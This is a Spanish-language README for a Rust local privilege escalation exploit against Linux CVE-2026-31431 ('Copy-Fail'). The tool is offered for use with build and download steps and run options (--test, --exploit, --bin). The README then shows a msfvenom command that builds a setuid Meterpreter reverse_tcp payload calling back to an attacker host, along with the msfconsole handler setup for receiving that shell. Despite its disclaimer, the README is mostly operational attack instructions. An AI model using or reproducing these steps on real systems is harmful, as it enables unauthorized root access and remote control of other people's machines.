
# Exploit de escalada de privilegios local basado en Rust para CVE-2026-31431, que permite la ejecución de shellcode personalizado como Meterpreter en sistemas Linux.
Una implementación en Rust de un exploit de escalada de privilegios local para CVE-2026-31431 (Copy-Fail).
Permite ejecutar shellcode personalizado (como Meterpreter)
Xint reveló CVE-2026-31431, una vulnerabilidad de escritura arbitraria en la caché de páginas que encadena AF_ALG y splice() para lograr una primitiva de escritura de 4 bytes.
Fuente: Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
Este proyecto fue desarrollado como parte de mi interés personal en el estudio de la ciberseguridad. Sin embargo, podría ser utilizado indebidamente con fines maliciosos.
NO utilice esta herramienta para actividades ilegales.
El autor no es responsable de ningún uso indebido de este software.
Nota: El trabajo original utiliza shellcode comprimido/codificado (p. ej.,
/bin/sh). En esta implementación, lo reemplacé con un shellcode/bin/bashsin procesar (sin comprimir), lo que facilita su personalización o su sustitución directa por payloads proporcionados por el usuario.
Clone el proyecto y luego ejecute build.sh:
git clone [email protected]:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh
Descargue y extraiga el paquete de la versión:
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
Los binarios ofrecen las siguientes opciones:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin
En la máquina vulnerable:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
Use el siguiente comando (establezca PrependSetUid en True) para generar el payload de Meterpreter:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin
En la máquina del atacante (Kali Linux):
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run
En la máquina vulnerable:
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin